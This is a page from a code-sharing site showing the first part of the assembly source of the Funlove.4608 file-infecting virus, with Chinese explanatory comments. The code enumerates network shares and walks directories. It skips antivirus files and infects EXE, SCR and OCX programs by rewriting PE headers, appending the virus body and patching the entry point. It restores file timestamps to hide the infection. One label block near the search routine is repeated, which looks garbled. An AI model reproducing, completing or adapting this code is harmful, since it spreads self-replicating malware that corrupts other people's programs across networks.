funlove.txt
来自「Funlove.4608的源代码-Funlove.4608的源代码」· 文本 代码 · 共 1,426 行 · 第 1/3 页
TXT
1,426 行
push 00
call VirtualAlloc
or eax,eax
jz short NET_Close
mov EnumBufferAddr,eax
NET_00:
mov esi,EnumBufferAddr
lea eax,EnumBufferSize
push eax
push esi
lea eax,EnumNB_Objects
push eax
push WNetStructAddr
call WNetEnumResourceA
or eax,eax
jnz short NET_Free
mov ecx,EnumNB_Objects
or ecx,ecx
jz short NET_00
NET_01:
push ecx
push esi
mov esi,[esi + 14] ; 计算机名
or esi,esi
jz short NET_03
cmp word ptr [esi],0041 ; 是否为软盘
jz short NET_03
lea edi,[offset Buffer1 + ebx]
NET_02:
movsb
cmp byte ptr [esi],00
jnz short NET_02
mov al,'\'
stosb
push edi
call BlownAway
push edi
call FileSearch
NET_03:
pop esi
mov eax,[esi + 0C]
and al,2
cmp al,2
jnz short NET_04
push esi
call NetSearch
NET_04:
add esi,20
pop ecx
loop NET_01
jmp short NET_00
NET_Free:
push 8000
push 00
push EnumBufferAddr
call VirtualFree
NET_Close:
push WNetStructAddr
call WNetCloseEnum
ret
;*************************************************************************************
; 查找文件子程序,这些跟以前DOS下没什么区别,
;
; 我还是喜欢用IFS_HOOK,可以做到全隐形哦,那感觉就是一个字--爽! ^_^
;*************************************************************************************
FileSearch:
mov eax,CurrentDirEnd
mov dword ptr [eax],002A2E2A ; *.*
lea edi,[offset Buffer2 + ebx]
lea esi,[offset Buffer1 + ebx]
push edi
push esi
call FindFirstFileA ;找第一个文件
cmp eax,-1
jz short RS_Exit
RS_00:
mov SearchHandle,eax
RS_01:
test byte ptr [edi],10 ; 测试是目录还是文件
jz short FileTest
RS_Directory:
cmp byte ptr [edi + 2C],'.'
jz short RS_Next
mov esi,edi
add esi,2C
mov edi,CurrentDirEnd
RSD_00:
movsb
cmp byte ptr [esi],0
jnz short RSD_00
mov al,'\'
stosb
push edi
call FileSearch
RS_Next:
lea edi,[offset Buffer2 + ebx]
push edi
push SearchHandle
call FindNextFileA ;查找下一个文件
or eax,eax
jnz short RS_01
push SearchHand
RS_Next:
lea edi,[offset Buffer2 + ebx]
push edi
push SearchHandle
call FindNextFileA ;查找下一个文件
or eax,eax
jnz short RS_01
push SearchHandle
call FindClose
RS_Exit:
ret
;********************************************************************
;没什么新意,略过吧
;********************************************************************
FileTest:
mov edx,[edi + 2C]
or edx,20202020
xor edx,61F81F61
lea esi,[offset SkipNames + ebx] ; 跳过一些反病毒软件的感染
mov ecx,0C
FT_00:
lodsd
cmp edx,eax
jz short FT_Exit
loop FT_00
;************************************************************************
;注意拉,
;************************************************************************
mov esi,edi
add esi,2C
FT_01:
lodsb
or al,al
jnz short FT_01
mov eax,[esi - 4] ; 扩展名判断
or eax,20202020
cmp eax,' xco' ;控件
jz short FT_02
cmp eax,' rcs' ;屏幕保护文件
jz short FT_02
cmp eax,' exe' ;标准的EXE文件
jnz short FT_Exit
FT_02:
mov eax,[edi + 20] ; 文件小于2000的就不感染
cmp eax,2000
jc short FT_Exit
cmp al,03 ; 检测是否已经感染
jz short FT_Exit
lea esi,[offset Buffer1 + ebx] ; 取文件名和路径
lea edi,[offset Buffer3 + ebx]
push edi
mov ecx,CurrentDirEnd
sub ecx,esi
repz movsb
lea esi,[offset Buffer2 + ebx]
add esi,2C
FT_03:
movsb
cmp byte ptr [esi - 1],0
jnz short FT_03
call InfectFile ;干活了,
FT_Exit:
jmp RS_Next
;*****************************************************************************************
;感染文件子程序
;*****************************************************************************************
InfectFile:
push i_Filename
push 03 ; 打开文件
call OpenFile
cmp eax,-1
jz IN_Exit
mov i_FileHandle,eax
push 00
push eax
call GetFileSize ;取文件大小,用于以后还原
mov i_FileSize,eax
cmp al,03 ; 是否感染
jz IN_Exit
lea edi,[offset Buffer3 + ebx]
push 00
lea esi,i_BytesRead
push esi
push 2000
push edi
push i_FileHandle
call ReadFile
;*********************************************************************************
;以下的程序跟文件头有关,建议没基础者找一些相关资料看看
;*********************************************************************************
cmp word ptr [edi],5A4Dh ;DOS文件头,开始有点印象了吧
jnz IN_CloseFile
cmp word ptr [edi + 18],0040 ;是否为WINDOWS文件,此处>=40H,则为WINDOWS文件,<40H则为DOS文件
jnz IN_CloseFile
cmp dword ptr [edi + 3C],1C00 ; DOS文件头的大小
ja IN_CloseFile
add edi,[edi + 3C] ;指向PE或NE文件头
mov eax,[edi]
cmp eax,00004550 ;PE文件吗?
jnz IN_CloseFile ;此步必须,因为WIN3.X的18H的值也大于等于40H
cmp word ptr [edi + 5C],2 ; GUI????
jnz IN_CloseFile
mov esi,edi
add esi,18
add si,[edi + 14] ; 将ESI指向第一个节表
push esi
mov eax,[edi + 28] ; 查找包含"PE"的节表
IN_00:
mov ecx,[esi + 0C]
add ecx,[esi + 08]
cmp eax,ecx
jc short IN_01
add esi,28
jmp short IN_00
IN_01:
sub eax,[esi + 0C]
add eax,[esi + 14]
mov i_EP_Offset,eax
or [esi + 24],80000000 ; 将它改为可写,这里是WINDOWS跟
;DOS在程序和数据段上的一个重要改变
;也是写WINDOWS病毒要注意的地方之一
pop esi
xor ecx,ecx
mov cx,[edi + 06]
dec ecx
mov eax,ecx
mov edx,28
mul edx
add esi,eax ; ESI指向最后一个节表
mov eax,[esi + 24]
cmp al,80 ; 是否已经初始化
jz IN_CloseFile
or eax,8C000000 ; 将它改为可写,
and eax,not 12000000 ; 不共享,不可丢弃
mov [esi + 24],eax
mov ecx,i_FileSize ;这里好象跟SFX有点关系
mov edx,ecx
mov eax,ecx
clc
shr eax,03
sub edx,eax
sub edx,[esi + 14]
jc short IN_02
sub edx,[esi + 10]
jnc IN_CloseFile
IN_02: ; 重新计算节的长度
mov edx,[esi + 08]
sub ecx,[esi + 14]
jc short IN_03
cmp edx,ecx
ja short IN_03
mov edx,ecx
IN_03:
test edx,00000FFF
jz short IN_04
and edx,0FFFFF000
add edx,1000
IN_04:
mov ecx,edx
add ecx,[esi + 0C]
mov eax,ecx
add eax,4000
mov [edi + 50],eax ; 新的长度
sub ecx,[edi + 28]
add ecx,offset VStart - 100 - 08
mov i_HostDep32,ecx
mov eax,edx
add eax,4000 ; 改变虚拟大小
mov [esi + 08],eax
mov eax,edx
add eax,[esi + 14]
mov i_VirusOffset,eax
add edx,1000 ; 改变物理大小
mov [esi + 10],edx
add edx,[esi + 14]
add edx,03
push i_FileHandle
push edx
call MapFile
or eax,eax
jz short IN_CloseFile
mov i_MapHandle,eax
push eax
call ViewMap
or eax,eax
jz short IN_CloseMap
mov edx,eax
lea esi,[offset Buffer3 + ebx] ; 写PE文件头
mov edi,edx
mov ecx,2000
repz movsb
lea edi,[offset HostCode + ebx]
mov esi,i_EP_Offset
add esi,edx
movsd
movsd
mov edi,esi ; 设置CALL GS:Virus
sub edi,08
mov eax,00E8659090
stosd
mov eax,i_HostDep32
stosd
mov edi,edx
mov eax,i_FileSize
mov ecx,i_VirusOffset
sub ecx,eax
jna short IN_05
add edi,eax
xor al,al
repz stosb
IN_05:
mov esi,ebx ;写入病毒主体
mov edi,edx
add edi,i_VirusOffset
mov ecx,VSize
repz movsb
mov ecx,Phys_VSize - VSize + 3
repz stosb
push edx
call UnmapViewOfFile
IN_CloseMap:
push i_MapHandle
call CloseHandle ;关闭
call Wait_A_Little ;延时
IN_CloseFile:
lea esi,[offset Buffer2 + 14 + ebx] ; 恢复文件的时间
push esi
sub esi,08
push esi
sub esi,08
push esi
push i_FileHandle
call SetFileTime
push i_FileHandle
call CloseHandle ;关闭文件
IN_Exit:
ret
;********************************************************************************
; 查找GetProcAddress 的子程序
;********************************************************************************
Whereis_GPA:
lea esi,[offset GPA_Sigs + ebx]
mov byte ptr [offset OS + ebx],00
mov eax,w_Kernel32
and eax,0FFF00000
cmp eax,0BFF00000
jnz short OS_WinNT?
OS_Win9x:
mov edi,0BFF70000
jmp short WG_00
⌨️ 快捷键说明
复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?